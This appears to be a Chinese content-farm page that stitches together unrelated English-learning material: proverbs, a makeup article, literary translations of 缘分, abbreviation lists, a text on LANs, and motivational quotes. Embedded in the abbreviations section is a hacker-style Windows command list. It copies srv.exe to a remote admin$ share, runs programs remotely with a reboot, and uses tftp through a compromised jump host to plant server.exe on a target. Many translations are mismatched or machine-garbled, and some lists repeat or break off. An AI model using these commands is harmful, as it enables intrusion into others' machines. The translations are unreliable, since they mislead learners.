为您找到与英文短信缩写大全翻译相关的共200个结果:
谚语是广泛流传于民间的言简意赅的短语,英文版的谚语你看过哪些呢,今天读文网小编在这里为大家分享英文谚语大全,希望大家会喜欢这些谚语!
He knows most who speaks least.
大智若愚。
He laughs best who laughs last.
谁笑到最后,谁笑得最好。
He sets the fox to keep the geese.
引狼入室。
He that climbs high falls heavily.
爬得越高,摔得越重。
He that will not work shall not eat.
不劳动者不得食。
He who does not advance loses ground.
逆水行舟,不进则退。
He who makes constant complaint gets little compassion.
经常诉苦,没人同情。
He who makes no mistakes makes nothing.
想不犯错误,就一事无成。
He who risks nothing gains nothing.
收获与风险并存。
History repeats itself.
历史往往重演。
Honesty is the best policy.
做人诚信为本。
Hope for the best, but prepare for the worst.
抱最好的愿望,做最坏的打算。
I cannot be your friend and your flatterer too.
朋友不能阿谀奉承。
If a man deceives me once, shame on him, if he deceives me twice, shame on me.
上当一回头,再多就可耻。
If you make yourself an ass, don't complain if people ride you.
人善被人欺,马善被人骑。
If your ears glow, someone is talking of you.
耳朵发烧,有人念叨。
If you run after two hares, you will catch neither.
脚踏两条船,必定落空。
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化妆品几乎是每个女性的必备物品,那么你知道哪些化妆品的英语单词呢,下面是读文网小编整理的一些化妆品英文词汇大全,欢迎大家阅读!
Is your makeup making you look older?
你的化妆品让你更显老了吗?
-How foundation, bronzer and eyeshadow could be adding YEARS to your face.
——粉底、侧影粉和眼影是怎么让你的脸看起来更老的?
• Makeup artists have shared the classic errors that women make
化妆师们分享了一些女性化妆时的典型错误
• Top tips include never applying mascara to your lower lashline
顶级技巧包括决不用睫毛膏涂你的下眼线
• You should also avoid contouring and glittery eyeshadow completely
你也应该完全避免画轮廓眼影和闪闪发光的眼影
Whether it's the way you apply blusher or how much mascara you lash on, makeup artists say that women make common mistakes every single day that could cause them to look years older.
可能是你用化妆刷的方法不对,也可能是你涂了太多睫毛膏,化妆师说每天女性都会犯一些常见的错误,而这些错误会使她们看起来老了几岁。
Celebrity make-up artist, Mikey Phillips, says the most ageing thing a woman can do is apply a mismatched concealer - either one that is too light or too dark.
著名化妆师Mikey Phillips说,女性做的最容易让自己显老的事是用了不匹配自己肤色的遮瑕膏——太亮或者太暗都不好。
Sharing his advice for the most youthful application, he said: 'Match it to your skin tone and use a little and blend into the skin. Always be sure to steer well clear of cakey, dry formulations and opt for a light reflecting, hydrating one.'
在跟初学化妆的人分享建议时,他说:“将遮瑕膏与你的肤色相匹配,再在你的皮肤上涂抹均匀使其融入皮肤。请一定要避免使用凝固的、干燥的配方,尽量选择反光、保湿的遮瑕膏。”
Another majorly ageing mistake is to overdo it with the blusher - especially very bold red hues. Instead, opt for a peachy hue and only apply it along the cheekbones - never the apples of the cheeks.
另一个容易让自己变老的错误是过分使用腮红,尤其是非常大胆的红色。相反,选择一个好的色彩,并且只需要沿着颧骨涂上腮红,而不是在你的苹果肌上。
When it comes to foundation, blending is key because you want to ensure the creams don't sit in your fine lines and emphasise them even more.
粉底关键在于要涂得均匀,因为你要保证粉底不卡在细纹里,这点要非常注意。
If lipstick is a makeup favourite in your later years, always line the lips before applying any colour.
如果口红是你近几年最爱的化妆品,记得在涂上任何颜色前先画好唇线。
As you mature, thin lines can develop around the mouth. Liner will lock in the colour all throughout the day, ensuring a perfectly precise pout.
当你变得成熟的时候,纤细的唇线可以加深嘴唇的轮廓。唇线会完好地保持你一整天的唇色,让你撅嘴时的样子变得完美。
When it comes to eyebrows, take note from Cara Delevingne, who proves that thick and healthy brows can transform the face.
说到眉毛,可以参考Cara Delevingne,她证明了健康的粗眉可以改变她的脸型。
If a pencil is making the brows a little too severe, opt for a waxy palette with a small angle-tip brush. Define the arch and subtly shade in any sparse areas for a youthful, full look.
如果眉笔使得眉毛显得太过沉重,那就用一个带有小尖角眉刷的调色盘来画眉。确定好眉峰和眉毛稀疏部位的阴影能够使整体看起来更年轻饱满。
Mikey shares plenty of other top anti-ageing tips, including never applying mascara to your lower lashline, avoiding contouring completely and shunning eyeshadows with glittery tones in them.
Mikey也分享了很多其他反老化的建议,包括决不用睫毛膏涂你的下眼线,避免给整个眼睛的轮廓打上眼影,以及避免使用闪闪发光的眼影。
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“缘分”等词和命运的关联在有的用法里变得淡化了,甚至完全消失了。它只是泛指一种机遇或者机会。不仅如此,这种机遇还可以发生在人和事物之间。下面是读文网小编整理的一些关于“缘分”的正确英文翻译大全,欢迎大家阅读!
1.富贵功名,前缘分定。(《西游记》)
Wealth and honor, glory and fame, are predetermined by fate. (W.J.F. Jenner 译)
2.宝玉问香菱为何薛蟠相亲定下了金桂,香菱笑道:“一则是天缘,二来是‘情人眼里出西施’。”(《红楼梦》)
It‘s partly fate, and partly a case of "Beauty is in the eye of the beholder."(杨宪益、戴乃迭译)
3. 王婆为了撮合西门庆和潘金莲,故意问前者是不是妻子死后,没有别的女人他中意的。西门庆争辩说:”做甚么了便没?只恨我夫妻缘分上薄,自不撞着!“(《水浒》)
Who says there isn‘t? It‘s just that my marriage luck has been bad. I‘ve never met the right one. (S. Shapiro 译)
4. 她无缘,小生薄命。(《西厢记》)
She lacks the karma; I‘m out of luck. (S. H. L. Idema译)
5.[刘备送别徐庶时说]备分浅缘薄,不能与先生相聚。(《三国演义》)
My meagre lot, my partly destiny keep us from remaining together.( M. Robers 译)
6.[杜慎卿向季苇萧诉说自己没有知心朋友]只为缘悭分浅,遇不着一个知己,所以对月伤怀,临风洒泪!(《儒林外史》)
But I have not been lucky enough to find a true friend, and that is why I so often give way to melancholy! (杨宪益、戴乃迭译)
7.君琴瑟之好,自相知音;薄命人乌有此福。如有缘,再世可相聚耳。(《聊斋.宦娘》)
You are like a matching lute and zither set. You can appreciate each other‘s music. Fate has been too unkind to allow me such blessings. If we are linked by the ties of destiny, we will meet again in the next life. (D.C. & V. H Mair 译)
8.[方鸿渐看不中张小姐,心中暗说]“我你他”小姐,咱们没有“举碗[案]齐眉”的缘分,希望另有好运气的人来爱上您。(《围城》)
Miss Wo-Ni-Ta, we just weren‘t meant to "raise the bowl to the eyebrows." I hope some other lucky guy falls in love with you. (J. Kelly、 N. K. Mao 译)
可以看出,以上句子里的中心词都含有“命运”的意识,英译亦然。《围城》一例所mean,据New World Dictionary等词典的解释也有 to destine or seem to destine 的意思,颇为妥帖。
然而,“缘分”等词和命运的关联在有的用法里变得淡化了,甚至完全消失了。它只是泛指一种机遇或者机会。所以M. Roberts翻译《三国演义》的以下两句,用的词语和上边英译句子中的相应部分不同:
9.[刘备二顾草芦时误认诸葛均为为诸葛亮,说]备久慕先生,无缘拜会。
Your talents and your virtue have ever been the objects of my esteem. But I have not had the honour of being presented to you.
不仅如此,这种机遇还可以发生在人和事物之间。体育报道里说的“无缘(进入)决赛(be barred from entering the finals; be disqualified for the finals)即其一例。《浮生六记》的作者沈复(字三白)因妻子陈芸喜欢李白和白居易的诗,就跟她说:
10.异哉!李太白是知己,白乐天是启蒙师,余适逢字三白,为卿婿;卿与“白”字何其有缘耶?
This is very strange. So Li Bai is your bosom friend, Bai Juyi is your first tutor and your husband's literary name is Sanbai. It seems that your life is always bound up with the Bai‘s.
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在英语的学习中,我们可以发现,很多英语单词都有它的缩写形式,下面是读文网小编为大家整理的一些关于英语单词的缩写,希望能帮到大家。
Co.,Ltd.: Company Limited 的缩写
部门:Department/Division 简写为Dept.
人事部:HR Department(human resource)
行政部:Administration Department(比较常用)。也可以用Executive Department(有些公司也用这个)或者用Executive Branch(多用在银行)
市场部:Marketing Department
客服部:CUS Department
销售部:SALES Department
质量技术部:quality and Technology Division
研发部:R & D Department (research and develop)
海外部:Overseas Division
拓展部:Department of Expand
人事行政部: P/A Personal &Administration
会计部:A/C Accountant Dept
资料中心:DC Document Center
质量管理部: Division of Quality Management.
质量总监 Quality Administration
制造总部办公室 Office of Manufacturing Headquarter
设计部:Design DPT.
WTO----world trade organization 世贸
CEO----chief executive officer 总裁
R&D----research and development 研究开发
CAD----computer assisted design 计算机辅助设计
CTV----cable television 有线电视
PCS----program control switches 程控电话交换机
IDD----international direct dialing 国际长途直拨
Int-tele----internet telephone 因特网电话
Mob tele----mobile telephone 移动电话
B-ISTN---- 宽带综合业务数字网
E-b----E-business 电子商务
SOE----state-owned enterprise 国有企业
FIE----foreign-invested enterprise 外资企业
FDI----foreign direct investment 外国直接投资
JV ----joint venture 合资经营
SEZ----special economic zone 经济特区
TQC----total quality control 全面质量管理
CI ----corporate image 企业形象
h.o.---head office 总部
IT-----information industry 信息产业
memo---memora0000 备忘录
5yr-P-----Five-Year Plan 五年计划
telcom-----telecommunication 通讯
CEO Chief Executive Officer
UN 联合国
UNESCO 联合国科教文组织
WHO 世界卫生组织
OPEC 欧佩克(石油出口国家组织)
GATT 关贸总协定
OECD 经济合作与发展组织
TMF 国家货币基金组织
EEC 欧洲经济共同体
NATO 北大西洋公约组织
VOA 美国之音
NY 纽约
CBS 哥伦比亚广播公司
PBS 美国公共广播电视公司
ABC 澳大利亚广播公司
BBC 英国广播公司
IBM 国际商用电器公司
ITT 国际电报电话公司
CIA 中央情报局
FBI 联邦调查局
MIT 麻省理工大学
VCLA 加利福尼亚州立大学
KKK 三K党
ERA 平等权利修正案
UPI (美)合众国际社
VIP 重要任务
POW 战俘
GI 美国士兵
MP 国会议员(英)
JAL 日本航空公司
PRC 中华人民共和国
CACC 中国民航局
AD 公元
BC 公元前
WWII 第二次世界大战
GMT 格林威治标准时间
GNP 国民生产总值
UFO CTN/CTNS carton/cartons 纸 箱
C/D customs declaration 报关单
C&F cost&freight 成本加运费价
C.O certificate of origin 一般原产地证
D/A document against acceptance 承兑交单
D/P document against payment 付款交单
DL/DLS dollar/dollars 美元
DOZ/DZ dozen 一打儿
EA each 每个,各
FAC facsimile 传真
G.S.P. generalized system of preferences 普惠制
G.W. gross weight 毛重
IMP import 进口
N.W. net weight 净重
PCE/PCS piece/pieces 只、个、支等
PKG package 一包、一捆、一扎、一件等
T/T telegraphic transfer 电汇
W with 具有
w/o without 没有
WT weight 重量
WWW----万维网(World Wide Wdb);
Http---超文本传输协议(Hypertext transfer protocol);
FTP----文件传输协议(File Transfer Protocol);
TCP----传输控制协议(Transmission Control Protocol);
IP-----网际协议(Internet Protocol);
ISP----网络服务提供商(Internet Service Provider);
DNS----域名服务器(Domain Name Server);
IE-----网络浏览器(Internet Explorer);
OE-----邮件收发软件(Outlook Express);
BBS----电子布告栏系统;
OICQ---网上聊天工具;
LAN----局域网(Local Area Network);
MAN----城域网(Metropolitan Area Network);
WAN----广域网(Wide Area Network)
ABS─防抱死制动系统
ABS英文全称是“Anti-Lock Brake System”。
EBD/EBV─制动力分配装置
EBD为英文缩写,其全称是“Electric Brake force Distribution”。其德文缩写为EBV,全称是“Electronic
ESP─电子稳定程序
ESP英文全称是“Electronic Stability Program
BAS─制动辅助系统
BAS英文全称是“Brake Assist System”。
ASR─驱动防滑系统
ASR为英文缩写,其全称是“Acceleration Slip Regulation”。
TCS─驱动力控制系统
TCS英文全称是“Traction Control System”。在日本等地也称为TRC或TRAC。
EBA─电子刹车辅助系统
EBA英文全称是“Electronic Brake Assist
ipconfig (winipcfg) 用于windows nt及xp(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的support/tools文件夹内)
kill -f 进程名 加-f参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的support/tools文件夹内)
del -f 文件名 加-f参数后就可删除只读文件,/ar、/ah、/as、/aa分别表示删除只读、隐藏、系统、存档文件,/a-r、/a-h、/a-s、/a-a表示删除除只读、隐藏、系统、存档以外的文件。例如“del/ar *.*”表示删除当前目录下所有只读文件,“del/a-s *.*”表示删除当前目录下除系统文件以外的所有文件
del /s /q 目录 或用:rmdir /s /q 目录 /s删除目录及目录下的所有子目录和文件。同时使用参数/q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符路径要移动的文件名存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at [url=file://ip/]\ip[/url] time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到ip(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径文件名1路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:srv.exe [url=file://ip/admin$]\ipadmin$[/url] 复制本地c:srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ascll格式文件
copy [url=file://ip/admin$/svv.exe]\ipadmin$svv.exe[/url] c: 或:copy\ipadmin$*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地c:
xcopy 要复制的文件或目录树目标地址目录名 复制文件和目录树,用参数/y将不提示覆盖相同文件
tftp -i 自己ip(用肉机作跳板时这用肉机ip) get server.exe c:server.exe 登陆后,将“ip”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ascii模式(传送文本文件模式)进行传送
tftp -i 对方ipput c:server.exe 登陆后,上传本地c:server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ascii格式传送(文本文件时)
route print 显示出ip路由,将主要显示网络地址network addres,子网掩码netmask,网关地址gateway addres,接口地址interface
arp 查看和处理arp缓存,arp是名字解析的意思,负责把一个ip解析成一个物理性的mac地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -a -r -s -h 或 +a +r +s +h 去掉(添加)某文件的 存档,只读,系统,隐藏属性;用+则是添加为某属性
dir 查看文件,参数:/q显示文件及目录属系统哪个用户,/t:c显示文件创建时间,/t:a显示文件上次被访问时间,/t:w上次被修改时间
date /t 、 time /t 使用此参数即“date/t”、“time/t”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续....
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "hello" aa.txt 在
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霸气有蛮横,不讲道理 、专横等意思,有时候也会被用作褒义表帅气等。那么你知道霸气的英文单词缩写怎么说吗?现在跟读文网小编一起来学习有关霸气的英语知识吧。
arrogance
网 络Domineering
他们需要在比赛中有舍我其谁的霸气,这种霸气是目前大家看不到的。
They need to gain a swagger about their game that is not currently present.
如果没有人喜欢你这种霸气行为的话,那么这个孩子将会觉得很孤独,虽然他可能是万人之上。
It can be pretty lonely as the top dog if no one likes your bossy ways.
霸气的人未必就是生活中的强者。
Overbearing people are not necessarily strong people in life.
这个青年浑身的杀伐霸气如火,在他眼中只有一条通往目标的途径。
You have therefore nourished this fire with which you are now burning.
该椅精选黄花梨大料制作而成,造型端庄霸气,色泽古朴典雅。
This chair was made of pear wood, elegance and old-timey.
他辉煌的"战绩"显示了他和雅典人的富有与霸气。
This high number of entries made both himself and athens look very wealthy and powerful.
安徽芜湖展出的一双纯金高跟鞋。 (霸气。。。)
High heels made from solid gold, shown in Wuhu, Anhui Province.
姚明在国家队怒吼更衣室,谁敢说他没有霸气?
Images of emaciated girl-band singers make me want to cry.
他虎步龙行,具有君王霸气。
He carries a mighty bearing, and has the air of a king.
你们称之为命运的东西,我叫它幸运。很霸气,对吧。
what you call fate means good luck for me.
1. Courage and insight, action, motion are flinty , arrogant, sharp, fight. 胆识 、 行动 、 运动、强硬 、 霸气 、 尖锐 、 争斗.
2. He carries a mighty bearing , and has the air of a king. 他虎步龙行, 具有君王霸气.
3. Display two kind of different color's Prado appears aggressive full. 展出的两种不同颜色的普拉多显得霸气十足.
4. Look! Yao dunks and scores again! What a power play this is! 看! 姚明又扣篮得分了! 太有王者霸气了!
5. Overbearing people are not necessarily strong people in life. 霸气的人未必就是生活中的强者.
6. This blueprint is aggressive and domineering, as Microsoft and HP are. 与微软和惠普不约而同的是,这份蓝图同样霸气四溢.
7. The child is unreasonable sometimes. 这孩子身上有股霸气.
8. His imposing presence an admirable, touching and stunning side of him, notoverpowering at all. 我想东健的霸气应该是让人倾慕的 、 却又不拒人于千里之外的 、 动人的、震撼的一面.
"Zhang Jianfeng, I want to marry you, do you dare to marry me?" This love message and a group of pictures posted by a girl in Zhoushan, a small city in Southeast China, became an internet sensation recently.
“张剑峰我想嫁给你,我敢嫁你敢娶吗?”这条由一位舟山女子发布的表白信息和照片最近在网络上走红。
On March 16, a girl spent over 10,000 yuan (US$1450) to advertise on more than 900 taxis between 5 p.m. and 7 p.m. in Zhoushan, to propose to her boyfriend.
3月16日,一位女子花了一万元(折合1450美元),令全城900多辆出租车为其在下午5点到7点这段时间内打广告,以此来向男友求婚。
Mr. Yuan is the manager of an advertising company which runs the advertisements on the top lights of taxis in Zhoushan. According to him, the girl works in Ningbo and her boyfriend works in Zhoushan. They met each other in Zhuhai.
袁先生是此次发布车灯广告的舟山某文化传媒公司的负责人。据他透露,这位女子在浙江宁波工作,其男友在舟山工作,两人在广东珠海相识。
They then came to the park near the sea and lit dozens of candles. "I am ready, will you marry me?" said the girl.
随后这对情侣来到了海边公园,并点燃了一圈蜡烛。女子问道:“我已经准备好了,你愿意娶我吗?”
"I want to marry you. Please marry me!" replied her boyfriend. Friends from both sides witnessed the romantic moment.
她的男朋友回答道:“我愿意娶你,你嫁给我吧!”双方朋友都在场共同见证了这一浪漫时刻。
This is not the first time that taxi top lights have been used to send love messages in the city.
近年来,男女之间为求爱打发布车灯广告的例子在各个城市屡有上演。
On June 25 last year, a man posted a love message to his girlfriend on taxi top lights. The message read: "I will remember you when it is rainy, Fang Xiaojie, be with me please!" The love message shined on the taxi top light for ten days.
去年的6月25日,一位男子同样发布车灯广告,向女朋友示爱。广告内容是:“每当天空下雨,我就容易惦记你,方小洁,我们在一起吧!”据悉,该条求爱广告在当时在车灯上持续播放了10天之久。
Nowadays, young lovers are bold and open in China. A growing number of young lovers use modern media to express their feelings and even to propose to their lovers.
现如今,年轻情侣都非常大胆奔放。越来越多的年轻人都采用现代媒体的方式来表达自我,甚至是公开示爱。
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局域网是指在某一区域内由多台计算机互联成的计算机组,通常只范围在几百米到几十千米的网络。今天读文网小编在这里为大家介绍局域网的英文缩写是什么,欢迎大家阅读!
Computer network is a system connecting two or more computers. A computer network allows user to exchange data quickly, access and share resources including equipments, application software, and information.计算机网络是连接两个或多个计算机的系统,它允许用户快速地交换数据,访问和共享包括设备、应用软件和信息在内的资源。
Data communications systems are the electronic systems that transmit data over communications lines from one location to another. You might use data communications through your microcomputer to send information to a friend using another computer. You might work for an organization whose computer system is spread throughout a building, or even throughout the country or world. That is, all the parts—input and output units, processor, and storage devices—are in different places and linked by communications. Or you might use telecommunications lines—telephone lines—to tap into information located in an outside data bank. You could then transmit it to your microcomputer for your own reworking and analysis.
数据通信系统是通过通信线路将数据从一个地方传送到另外一个地方的电子系统。你可以使用数据通信通过你的微机将信息发送给使用另外一台机器的朋友。你有可能在为一家公司工作,其计算机系统遍布一座大楼,或者甚至是全国乃至世界。也就是说,所有的部分——输入和输出单元、处理器和存储设备——都在不同的地方,是通过通信连接起来的。或者你可能使用远程通信线——电话线——接进位于外部数据单元的信息。然后你可能将信息传送到自己的微机上用于重新工作和分析。
To attach to a network, a special purpose hardware component is used to handle all the transmission. The hardware is called a network adapter card or network interface card (NIC), it is a printed circuit board plugged into a computer's bus, and a cable connects it to a network medium.
为了连接到网络上,需要使用特殊用途的硬件部件来处理所有的传送。这个硬件被称为是网络适配卡或网络接口卡,它是插入到计算机总线上的印刷电路板,由电缆将它连接到网络介质。
Communications networks differ in geographical size. There are three important types: LANs, MANs, and WANs.
通信网络由于其占据的地理范围大小而不同。有三种重要的类型:局域网、城市网和广域网。
Local Area Networks:Networks with computers and peripheral devices in close physical proximit—within the same building, for instance—are called local area networks (LANs). Linked by cable-telephone, coaxial, or fiber optic. LANs often use a bus form organization. In a LAN, people can share different equipments, which lower the cost of equipments. LAN may be linked to other LANs or to larger networks by using a network gateway. With the gateway, one LAN may be connected to the LAN of another LAN of another office group. It may also be connected to others in the wide world, even if their configurations are different. Alternatively, a network bridge would be used to connect networks with the same configurations.
局域网:计算机和外部设备在很近的物理范围内的网络被称为是局域网,例如在一座大楼内,由电缆连接——电话线、同轴电缆或光缆。局域网通常使用总线型的结构。在局域网中人们可以共享不同的设备,这样可以降低设备的费用。局域网可以通过使用网关连接到另外一个局域网或者更大的网。使用网关,一个局域网可以被连接到另一个办公团体的局域网上,它也可被连接到世界范围的其他局域网上,即使它们的配置不同。另外一种方法是用网桥来连接具有相同配置的网络。
There is a newly development for LANs: WLAN. A wireless LAN (WLAN) is a flexible data communication system implemented as an extension to, or as an alternative for, a wired LAN within a building or campus. Using electromagnetic waves, WLANs transmit and receive data over the air, minimizing the need for wired connections. Thus, WLANs combine data connectivity with user mobility, and, through simplified configuration, enable movable LANs.
对于局域网有一个新开发的网络:无线局域网。无线局域网是灵活的数据传输系统,实现了大楼或校园内有线局域网的延伸或替换。无线局域网使用电磁波通过空气传送和接收数据,最低限度地减少了有线连接。这样,无线局域网把数据连接和用户移动性结合起来,通过简化的配置,形成了移动的局域网。
Over the recent several years, WLANs have gained strong popularity in a number of vertical markets, including the health-care, retail, manufacturing, warehousing, and academic arenas. These industries have profited from the productivity gains of using hand-held terminals and notebook computers to transmit real-time information to centralized hosts for processing. Today WLANs are becoming more widely recognized as a general-purpose connectivity alternative for a broad range of business customers.
随着近几年的发展,无线局域网在一些市场领域已经获得了广泛的普及,其中包括健康保健、零售业、制造业、仓储业和学术界。这些工业通过手提终端和笔记本电脑将实时信息传送到中央主机进行处理,从获得的生产率中已获益非浅。如今,对于广泛的商业客户来说,无线局域网正成为公认的通用连接的替代品。
Applications for Wireless:LANs Wireless LANs frequently augment rather than replace wired LAN networks—often providing the final few meters of connectivity between a backbone network and the mobile user. The following list describes some of the many applications made possible through the power and flexibility of wireless LANs:
无线局域网的应用:无线局域网通常是增加而不是代替有线局域网的功能——通常是在中枢网络和移动用户间提供最后几米的连接。通过无线局域网的灵活性和功能,以下所列描述了可能实现的许多应用中的一些:
Doctors and nurses in hospitals are more productive because hand-held or notebook computers with wireless LAN capability deliver patient information instantly.
医院的医生和护士利用手提或笔记本电脑与无线局域网连接的性能,及时传递/病人的信息,提高了效率。
Consulting or accounting audit engagement teams or small workgroups increase productivity with quick network setup.
顾问或会计审计事务组或一些小的工作组使用快速搭建的网络提高了工作效率。
Network managers in dynamic environments minimize the overhead of moves, adds, and changes with wireless LANs, thereby reducing the cost of LAN ownership.
在动态环境下的网络管理者使用无线局域网最大限度地减少了经常的移动、添加和修改工作,从而降低了局域网所有者的费用。
Training sites at corporations and students at universities use wireless connectivity to facilitate access to information, information exchanges, and learning.
公司的培训点和大学的学生使用无线连接便于访问信息,进行信息交换以及学习。
Network managers installing networked computers in older buildings find that wireless LANs are a cost-effective network infrastructure solution.
在旧的建筑物内安装网络计算机的网络管理员发现无线局域网是划算的网络基础结构的解决方案。
Retail store owners use wireless networks to simply frequent network reconfiguration.
零售商店的老板使用无线局域网简化经常性的网络重新配置(问题)。
Trade show and branch office workers minimize setup requirements by installing preconfigured wireless LANs needing no local MIS support.
贸易展览部门工作人员通过安装预先配置的无线局域网最大限度地降低了配置需求,而不需要当地信息管理系统的支持。
Warehouse workers use wireless LANs to exchange information with central databases and increase their productivity.
仓储工人使用无线局域网和中心数据库交换信息提高了生产率。
Network managers implement wireless LANs to provide backup for mission-critical applications running on wired networks.
网络管理员使用无线局域网提供运行在有线网络上的关键应用程序的备份。
Senior executives in conference rooms make quicker decisions because they have real-time information at their fingertips.
在会议室的高级行政官因为手头有实时信息可供使用,因此可以做出快速的决定。
The increasingly mobile user also becomes a clear candidate for a wireless LAN. Portable access to wireless networks can be achieved using laptop computers and wireless NICs. This enables the user to travel to various locations–meeting rooms, hallways, lobbies, cafeterias, classrooms, etc.–and still have access to their networked data. Without wireless access, the user would have to carry clumsy cabling and find a network tap to plug into.
日益增长的移动用户也成为无线局域网的坚实的后备力量。使用膝上电脑和无线网络接口卡就可实现移动访问无线局域网,这就使得用户可以在不同的地方穿梭——会议室、 门厅、休息室、自助食堂、教室等地方——仍然可以访问其网络数据。假如没有无线局域网,用户就不得不携带笨重的电缆寻找网络插头。
Metropolitan Area Networks:These networks are used as links between office buildings in a city. Cellular phone systems expand the flexibility of MAN by allowing links to car phones and portable phones.
大城市网:这些网络用于一个城市内的建筑物之间的连接。移动电话系统通过允许将汽车电话和移动电话接入而扩展了大城市网的灵活性。
Wide Area Networks:Wide area networks are countrywide and worldwide networks. Among other kinds of channels, they use microwave relays and satellites to reach users over long distances. One of the most widely used WANs is Internet, which allows users to connect to other users and facilities worldwide.
宽域网:宽域网是国家和世界范围内的网络。在其他的信道种类中,宽域网使用微波中继和卫星通信远距离到达用户。使用最广泛的宽域网是Internet,它允许在世界范围内用户和用户及设备的连接。
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下面读文网小编为大家带来英文名言警句大全带翻译,欢迎大家阅读!
1、成功的轨迹作为一种策略路线,从一开始就应该走上正轨。
successful track as a tactical line, from the beginning should be on the right track。
2、在这个世界上,没有人能使你倒下。如果你自己的信念还站立的话。
in this world, no one can make you fall。 if your faith is still standing。
3、能把在面前行走的机会抓住的人,十有八九都会成功。
to walk in front of the opportunity to grasp, nine times out of ten will be successful。
4、获得成功有两个重要的前题:一是坚决,二是忍耐。
before success, there are two important questions: one is determined, the second is patience。
5、每个人都有某些缺点,被骂没关系,因为这是进步的过程。
everyone has some shortcomings, be scold it doesn't matter, because this is the process of progress。
6、跑昨越快,遇到风的阻力越大。阻力与成就相伴随。
the faster the run yesterday, in the greater the wind resistance。 consistent with achievement resistance。
7、成功开始于想法,但是,只有这样的想法,却没有付出行动,还是不可能成功的。
success begins with ideas, however, only such idea, but no action, is unlikely to succeed。
8、勤奋可以弥补聪明的不足,但聪明无法弥补懒惰的缺陷。
diligence can make up the lack of wise, but the wise cannot make up for the defects of laziness。
9、我除了要按照我内心自然产生的愿望去生活之外,别无它求。
i in addition to, in accordance with the natural desire to live outside, my heart has no its desire。
10、在物质开拓中去开拓崇高的精神;在精神开拓中去开拓人生的价值。
in the material development to develop noble spirit; in the spirit to develop the values of life。
11、行动是治愈恐惧的良药,而犹豫、拖延将不断滋养恐惧。
activity is a kind of medicine to cure fear and hesitation or delay will continue to nourish the fear。
12、一个管理者如果不了解其下属的工作,那他就无法有效地管理他们。
a manager if you don't understand its subordinate work, he is unable to effectively manage them。
13、翘首盼来的春天属于大自然,用手织出的春天才属于自己。
eagerly look forward to the spring belongs to the nature, with the hand weave spring belongs to yourself。
14、平时没有跑发卫千米,占时就难以进行一百米的冲刺。
at ordinary times did not run hair who km, accounting for when it will be difficult to one hundred metres sprint。
15、如果可恨的挫折使你尝到苦果,朋友,奋起必将让你尝到人生的欢乐。
if you taste bitter hateful setbacks, friends, stand and will let you taste the joy of life。
16、企业发展需要的是机会,而机会对于有眼光的领导人来说,一次也就够了。
enterprise development need are the opportunity and the chance for a leader with vision, once is enough。
17、人生舞台的大幕随时都可能拉开,关键是你愿意表演,还是选择躲避。
stage of the life should be open at any moment, the key is you willing to performance, still choose to avoid。
18、那些把失败看成是结局而不是过程的人,很少能见到成功的曙光。
those who are in the process of take failure as a result, rather than, rarely can see signs of success。
19、失败并非坏事,一次失败能教会你许多,甚至比你大学里所学的还有用。
failure is not bad, one failure can teach you a lot, even more than you learned in the university and use。
20、如果脆弱的心灵创伤太多,朋友,追求才是愈合你伤口最好的良药。
if too many vulnerable trauma, friends, pursuit is heal your wound is the best medicine。
21、积极的人在每一次忧患中都看到一个机会,而消极的人则在每个机会都看到某种忧患。
positive people in every difficulty see an opportunity, while negative people at every opportunity to see some kind of trouble。
22、最有希望的成功者,并不是才华最出众的人,而是那些最善于利用每一时机发掘开拓的人。
the most promising a winner, not a man of great talent the most, but the most good at using every time to explore development。
21、成功的轨迹作为一种策略路线,从一开始就应该走上正轨。
successful track as a tactical line, from the beginning should be on the right track。
22、在这个世界上,没有人能使你倒下。如果你自己的信念还站立的话。
in this world, no one can make you fall。 if your faith is still standing。
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多看一些励志的英文句子,为自己加油鼓劲的同时还能提高自己的英语水平,今天读文网小编在这里为大家分享一些励志英语美句大全,希望大家会喜欢这些励志英文语录!
1、人的志向,应在千里之外。
Should the aspirations of people, thousands of miles away.
2、把握住这天,胜过两个明天。
Seize the day, is worth two tomorrow.
3、不怕别的,有勇气就不放弃!
Afraid of nothing, have the courage to not give up!
4、生命是一张弓,那弓弦是梦想。
Life is a bow, the bowstring is a dream.
5、汗水浇灌希望,奋斗决定命运。
Sweat hope, the fight destiny.
